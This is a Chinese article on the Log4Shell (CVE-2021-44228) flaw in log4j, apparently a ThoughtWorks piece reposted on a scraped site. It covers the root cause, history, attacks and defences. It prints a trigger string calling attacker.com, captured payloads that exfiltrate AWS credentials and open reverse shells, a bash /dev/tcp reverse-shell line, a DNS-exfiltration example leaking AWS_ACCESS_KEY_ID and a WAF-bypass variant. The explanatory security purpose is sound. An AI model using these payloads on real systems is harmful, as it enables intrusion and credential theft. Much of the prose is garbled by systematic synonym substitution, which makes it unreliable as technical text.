首页 互联网资讯 网络技术 地区报价 解决方案

地区报价

你的位置:欧冠赛程APP下载 > 地区报价 > Ghost in the Log4Shell-51CTO.COM

Ghost in the Log4Shell-51CTO.COM

发布日期:2022-08-07 17:58    点击次数:179

多年当前,面对加班的夜晚,Volkan Yazıcı 必定会回忆起发生在 2021 年底的这件事变,除了没日没夜的事变和无截止的说明以外,固然也少不了人们的气愤和对他的责骂。一不警醒就见证历史的,除了 log4j 的作者们,另有我们全体人。

开初,巨匠都度过了一个黑客狂欢,吃瓜公共玩梗,开发们加班的周末,觉得这可以或许是又一次“心脏出血”或许“永世之蓝”。随着事变愈演愈烈,影响愈来愈大,往常巨匠都该当熟习到,这个马脚比心脏出血要重大很多。比喻 CISA 的官员称其为从业以来最重大的马脚(之一),log4j 的修复也导致短短两周内升了三个大版本(而今只要最新的 2.17.0 被觉得是没有成就的)。所以同伙们,不要思疑,这绝对于是一个有生之年系列。

核弹级马脚 Log4Shell

马剧本体 log4j 2.x,编号 CVE-2021-44228,满分10分,混名 Log4Shell。

Log4Shell 之所以被称之为一个核弹级马脚,是因为它具有下列这些特点:

普及性:大(海)量 Java 应用都寄托于 log4j 2,log4j 是现实上的日志标准。而 Java 本身的跨平台特点,使得全体主流操作体系蕴含种种运行 Java 的嵌入式设置配备摆设都受到影响。 重大性:从混名 Log4Shell 就能看进去,它是一个 RCE 马脚,也就是近程代码执行马脚。这是全体马脚中级别最高的一种。 易行使性:该马脚默认开启,袭击面广,袭击渠道多,袭击结果奔忙动,袭击条件易餍足,俭朴来说,对袭击者极度敌对。可谓剧本小子的入门级马脚。 长岁月性:因为 Log4Shell 具有分明的提供链袭击特点,并且对付数量宏壮的企业资产来说,肯定影响规模极度极度极度费力。激进估量,log4j 的负面影响起码需要半年时光来减缓。 七嘴八舌

距离马脚爆进去曾颠着末三周,对付马脚的探究未然铺天盖地,审美疲乏。这其中,有安好厂商第一时光进去提供减缓步折衷修复倡导,有云计算和安好厂商零打碎敲推销他们的 WAF 或许其他安好产品;有良多的安坏事变者在交际媒体上分享博客和文章,阐发马脚道理,科普安好知识;有开发人员质疑 log4j 的作者策画欠妥,莫名其妙,难辞其咎,也有开发人员对此默示理解,觉得往常开源难做,首要而底子的组件满是收费回护,而一毛不拔的大厂才是邪恶起源。

作为一个冷眼察看游移的安坏事变者,笔者实在不急于站队,留心力则放在会集和摒挡对付 Log4Shell 的种种或乏味,或有价钱的现实和知识上。对付开发人员来说,第一要务是尽快修复本身的产品和代码,然则忙碌之余,是否是也好奇除了这些无聊的降级和修复以外,对付 Log4Shell,另有哪些你需要晓得的事变呢。

马脚细节

下列代码对付 log4j (< 2.15.0),默认会触发这个马脚:

public class App {  private static final Logger logger = LogManager.getLogger(App.class);  public static void main(String[] args) {      logger.error("${jndi:ldap://attacker.com/x}");  } } 

我们执果索因,先来直击马脚触发时的调用栈:

JndiLookup.lookup(LogEvent,String) (JndiLookup.class:51) Interpolator.lookup(LogEvent,String) (Interpolator.class:223) StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (StrSubstitutor.class:1116) StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (StrSubstitutor.class:1038) StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (StrSubstitutor.class:912) StrSubstitutor.replace(LogEvent,String) (StrSubstitutor.class:467) MessagePatternConverter.format(LogEvent,StringBuilder) (MessagePatternConverter.class:132) PatternFormatter.format(LogEvent,StringBuilder) (PatternFormatter.class:38) PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (PatternLayout.class:345) PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (PatternLayout.class:244) PatternLayout.encode(LogEvent,ByteBufferDestination) (PatternLayout.class:229) PatternLayout.encode(Object,ByteBufferDestination) (PatternLayout.class:59) AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (AbstractOutputStreamAppender.class:197) AbstractOutputStreamAppender.tryAppend(LogEvent) (AbstractOutputStreamAppender.class:190) AbstractOutputStreamAppender.append(LogEvent) (AbstractOutputStreamAppender.class:181) AppenderControl.tryCallAppender(LogEvent) (AppenderControl.class:156) AppenderControl.callAppender0(LogEvent) (AppenderControl.class:129) AppenderControl.callAppenderPreventRecursion(LogEvent) (AppenderControl.class:120) AppenderControl.callAppender(LogEvent) (AppenderControl.class:84) LoggerConfig.callAppenders(LogEvent) (LoggerConfig.class:543) LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:502) LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:485) LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (LoggerConfig.class:460) AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (AwaitCompletionReliabilityStrategy.class:82) Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (Logger.class:161) AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (AbstractLogger.class:2198) AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2152) AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2135) AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (AbstractLogger.class:2011) AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (AbstractLogger.class:1983) AbstractLogger.info(String) (AbstractLogger.class:1320) App.main(String[]) (App.java:19) 

代码执行到 jndiLookup.lookup 的时光触发了这个马脚。请留心下列几个见解:

PatternLayout: 又叫情势计划,也就是形如 %d{yyyy-MM-dd HH:妹妹:ss.SSS} [%t] %level %logger{36} - %msg%n 的情势,我们时常会在设置文件中用它定义日志项目。这其中 %msg 就是指代我们传给 log.error 编制的内容。 Interpolator:Interpolator(插值器)是一种属性占位符,而插值器会包孕良多 StrLookup 工具,这些工具会在运行时经由过程调用 lookup 编制被替代成终究的值,比喻 JNDI lookup。其他另有诸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j这些 Lookup。所以你可应用 ${jndi:key} 或许 ${env:key} 来替代 jndi 或许情形变量的内容,并且还支持嵌套。请参考 log4j 的文档相识更多细节。

马脚触发的启事是因为 %msg 对应的 MessagePatternConvert 会应用 interpolator 来替代占位符,而 interpolator 默认包孕 JNDI 的 lookup。这些可以或许很苟且从上面的调用栈阐收归来。一个乏味的现实就是不论有无这个马脚,log4j 都比一个 system.out.println 要宏壮和灵巧更多 – 没有了 JNDI,log4j 仍然支持大量的占位符替代,可以或许轻松拜访一些情形变量,一些凹凸文的形态。从这个角度看,Log4Shell 终于把日志注入袭击抵达了平易近众的视野中。

那为何会有 JNDI 这个功用?

笔者预想 90% 的开发人员相识以上这个马脚细节后,内心必然会骂一句脏话。原来 log4j 这浓眉大眼的这么狡滑啊,一贯觉得你是移动电话,没想到还可以或许神不知人不知地刮胡子啊。这恰正是因为这个马脚理解起来太苟且,行使起来更苟且,毕竟它是一个真正把 feature 做成为了马脚的典范。所以巨匠不禁要想这样的功用是怎么诞生的?请看这个 Jira issue,地区报价JNDI Lookup plugin support。

2013年7月,该功用(马脚)初度被引入 log4j2。因由是:

“Currently, Lookup plugins [1] don't support JNDI resources.

It would be really convenient to support JNDI resource lookup in the configuration.

One use case with JNDI lookup plugin is as follows:

I'd like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]).

Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.”

主若是两点,一个是方便(JNDI确凿方便啊),一个为了和 logback 兼容。并且提需要的人很爽快地附带了一个完成补钉。安好最大的仇敌,方便和兼容都出现了。诚然最起头的场景是在设置文件里应用 JNDI,然则强盛如 log4j 没因由不克不迭在每一条音讯内里应用它。

JNDI 可谓是 Log4Shell 的灵魂,然则反已往却不是。针对 JNDI 的袭击存在了多年,它本身就是 Java 的首要袭击向量。想要深造更多 JNDI 袭击道理的同砚可以或许参考 Blackhat 2016 的经典 talk -- A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

并且联结 log4j 提供的种种 lookup 和 converter,针对 JNDI 的袭击也诞生了种种变形(为了绕过 WAF 和检测),比喻 ${${lower:jnd${lower:i}}:xxx}。说毕竟,log4j 真的是太灵巧了。

Java 日志库的前世今生

2001 年,软件开发者 Ceki Gulcu 策画了 log4j(v1)。其后 sun 也在 JDK 引入了一个叫做 Java Util Logging 的日志框架。不过一直都没有 log4j1 那末强盛和流行。因为日志库变多了,是以 Apache 趁机推出了所谓的 Logging Facade – JCL(Jakarta Co妹妹on Logging),可以或许静态绑定应用的日志库。

2006 年,Ceki 来到 Apache 当前又开发了新的 Logging Facade,也就是我们往常熟知的 Slf4j(Simple Logging Facade for Java)以及种种桥接包(蕴含桥接 log4j )。再当前,Ceki 又开发了 Logback 作为 Slf4j 的默认完成。至此 Slf4j + Logback 就变成一个新的强盛而灵巧的组合。

到了 2012 年,Apache 选择开发一个新的 logging framwork 来和 Slf4j + logback 竞争,这就是我们的配角 log4j2,以 log4j-api + log4j2-core 的情势,并且也不兼容 log4j v1。

所以往常 Java logging framework 就分为两大阵营了。

社区反馈

Log4Shell 的影响太大,也涉及了其改日志库。所以有工钱 Logback 提交了一个 co妹妹it,夸大 logback 和 log4j2 没有任何关系,不同享代码所以也不同享马脚

https://github.com/qos-ch/logback/co妹妹it/b810c115e363081afc70f8bf4ee535318c3a34e1

而 Spring 则专门发文夸大,Spring Starter 默认 logging 组件是 logback,不是 log4j2,所以没有这个马脚

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

最后的最后,终于有人选择从头起头回护 log4j1 了

https://github.com/apache/logging-log4j1/co妹妹its/trunk

那我在用 log4j 1.x 我需要耽心 Log4Shell 吗?

不需要。诚然 log4j 1.x 长年失修,疏于回护,然则不幸或许幸运的是,log4j1 实在不会受到 Log4Shell 的影响。

极度极度的尴尬,一个自从 2012 年起就没有回护的组件,一个包孕有多个 CVE 长年居于种种扫描终局的榜首,然则却因为一贯找不到充分的袭击证据,苟活在在各大企业的代码库中,这其中蕴含 Altassian 的全线产品。尽管 log4j1 的代码行相比少,功用也很俭朴,然则不管怎么,经此一役,巨匠照旧要熟习到一个长年不足回护的底子组件是多么的挫伤。

Android 设置配备摆设会受到 Log4Shell 的影响吗?

可能率不会。妇孺皆知,Android 也是运行在 Google 开发的 Java 虚拟机上,然则:

log4j 眷属都不支持 Android,因为没人移植 Android 本身已经自带 logging 框架和相干底子设置配备摆设了

所以 Android OS 不会受到 Log4Shell 的影响,而 Android App,除非你本身移植了全副 log4j2 到 Android,否则答案也是 No。

Log4Shell 毕竟怎么用来举行袭击的?

早在 12 月 16 日,一些安好试验室就已经捕捉到了一些家养 payload 用于实在的袭击,比喻:

GET /${jndi:ldap://<redacted>/Basic/Co妹妹and/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y<redacted>} HTTP/1.1 Host:<redacted> User-Agent: ${jndi:ldap://<redacted>/Basic/Co妹妹and/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz 
GET / HTTP/1.0  User-Agent: borchuk/3.1 ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}   Accept: */*  Bearer: ${jndi:ldap://<redacted>:1389/Basic/ReverseShell/<redacted_ip>/9999}  

这些 payload 都是用一个叫 JNDIExploit 的器材库生成的,中文的,巨匠自便。而该器材是 1 年前创立的。这分化要行使 Log4Shell,经典的 JNDI + LDAP 袭击就足够了。

这一套 exploit 器材集支持多种袭击,比喻种种基于 tomcat,spring 和 weblogic 的 webshell 和反向 shell。比喻这段代码

https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :

mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1"); 

就是一个经典的只寄托于 bash 来完成反弹 shell 的例子。

其他,一家叫做 Bitdefender 的安好公司行使蜜罐,缔造白大量僵尸网络(botnet)和蠕虫病毒行使 Log4Shell 的证据。其中,叫做 Muhstik 的 botnet 是开始的一批。这些僵尸网络的目标主若是净化古板并在古板上陈列挖矿顺序。

此外,一个叫 Curated Intel 的构造回护了一个 github 货仓旅馆,专门用来记载和汇总针对 Log4Shell 袭击证据和阐发。

除了 RCE 我们还需要耽心什么?

对付往常宏壮的企业网络来说,要真正实行一次 RCE 袭击可以或许实在不是那末苟且。然则这次 Log4Shell 真正带来的巨大影响的,就是所谓的 DNS out-of-band attack(带外袭击)。我们已经留心到,在 JNDI + LDAP 的注入字符串中,普通都市应用域名来指定服务器。是以,这里就存在一个经典的注入带外袭击场景 – 假定你对 DNS 和谈熟习的话 – 当一个不存在的域名第一次被剖析时,它必定会被左右的 DNS 服务器反复往上游通报,直到它抵达所谓的权势巨头服务器,也就是域名的全体者。

我们以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 为例。当马脚被触发时,被袭击的工具会查验测验去跟尾 LDAP 服务器。痛处以条件到的 env Lookup,${env:AWS_ACCESS_KEY_ID} 会被替代成响应的情形变量(假定存在的话),尔后一个形如 "xxxxxxxx.somedomain.com" 的 DNS 要求就会被发进来。因为普通来说,"xxxxxxxx.somedomain.com" 是不存在的,然则 somedomain.com 却是存在并且被袭击者掌握。所以最后,对付 "xxxxxxxx.somedomain.com" 的通通最后,都市去到袭击者的服务器去查询。是以 AWS_ACCESS_KEY_ID 就被泄露了。

情形变量可以或许掘客的信息实在太雄厚,同时推敲到其他 log4j2 自带的 Lookup,即便泄露不了太多敏感信息,也提供了大量信息会集的机会 – 而这每每是真正袭击前最首要的步调。

而对付企业来说,陈列 WAF 或许防火墙来防御 RCE 袭击是可行的,然则对付 DNS 带外袭击,实行审计和阻断却极度不现实。你可以或许设想一下,当你需要拜访一个新的第三方服务时,不只需要网络担保流通,还需要安好副门放行你的 DNS 要求。而企业 DNS 服务每每是一此左右化的服务,这样实行的成本实在过高。

假撤防火墙或许 WAF 没有防御住 Log4Shell 袭击,企业该当采取什么样的计策举行调停?

假若经由过程日志和 WAF 记载都没有找到有用的信息来排查或许防御 Log4Shell 的袭击,大约纵深防御的思路可以或许帮到一些忙。经由过程陈列 EDR 体系,终端审计体系或许某种沙箱体系,我们可以或许很方便地监控和阻止一些不凡敕令的执行和一些典范的恶意动作。比喻,假定一个 Java 过程 fork 了叫做 curl 和 cmd.exe 的子过程,那末这不管怎么都是可疑的。这类思路不只可以或许应对 Log4Shell,也可以凑合将来出现的种种 RCE 型马脚。固然,要发挥这类计策的结果,一个能倏地照顾的安好流程和计策散发机制必不成少,同时一个通通的资产打点和利诱打点体系也必须直立起来。

后 Log4Shell 时代,我们该当怎么应对

核弹级马脚 Log4Shell(CVE-2021-44228)的影响必将是长远的,不只仅是当下肉眼可见的袭击事宜和损失数据,在相当长时分的将来我们都市被这次的阴影所笼罩 – 蠕虫病毒和勒索软件的肆虐,集团敏感数据的大量泄露。然则真正笼罩在巨匠心头的照旧因为它给了我们软件产业重重一击 – 为何云云分明的马脚存在于云云底子的组件当中长达 7-8 年之久?说好的开源软件更安好呢?我们的软件产业毕竟怎么啦?

当我们说安好难做的时光,每每不是说安好马脚潜匿的多深,也不是说安好专家的稀缺。身处软件产业的我们,听说过太多传说中的攻防故事,但约略是违心信赖才能越大义务越大的 – 假定一个马脚难以掘客和行使,那末它的袭击成本是很高的,不论是从袭击面照旧从袭击技能看;假定一个马脚袭击俭朴,行使方便,那末防御的难度也会升高。当我们说安好难做的时光,实在照旧在说的是人的要素,是安好中最难掌握的一环。当 log4j2 作为 Java 应用中现实上的标准,被用在海量应用中,其中蕴含了险些全体互联网巨头,然则只要两位开发人员收费回护时,这房间中的大象就已经存在了。我想说这不是开源软件出了成就,而是我们对开源软件的理解有成就。没有人回护的软件,纵然是开源的,也不应该被觉得是安好的!

是以,Log4Shell 马脚作为一个分水岭,那末给后 Log4Shell 时代的我们的启迪有哪些呢?

坚定不移的安好左移:想要经由过程应用和置办零丁的安好产品一次性经管成就的时代已经夙昔了,新时代的安好防御必定是集体系性计划,蕴含了架构,策画,开发,测试和运维。关键词:SDLC,安好內建,DevSecOps 体系监控和应急照顾:Cloud Native 时代,巨匠逐渐熟习到需要上云的不只仅是业务和应用,全副体系的监控也是必不成少的。然则安好规模的监控往常照旧绝对于掉队,不只体往常器材上也体往常认识上。麻利直立一集体系化的资产打点和监控体系是事不宜迟。关键词:SIEM,态势感知,寄托打点和可视化 麻利利诱建模:Log4Shell 的其中一个辅导是,不要信赖任何用户输入,蕴含日志。夙昔我们做利诱建模,不论是 STRIDE 照旧袭击树,每每只会把日志当作是敏感数据泄露的起源,而不是袭击的输入。当我们反思为何会漏掉这一环时,则恰恰分化了麻利利诱建模的首要性。利诱建模不是一锤子生意,它需要融入全副迭代中,这恰恰又印证了安好左移的理念。关键词:麻利利诱建模,资产阐发,数据流可视化

【本文是51CTO专栏作者“ThoughtWorks”的原创稿件,微信公共号:思特沃克,转载请联络原作者】

戳这里,看该作者更多好文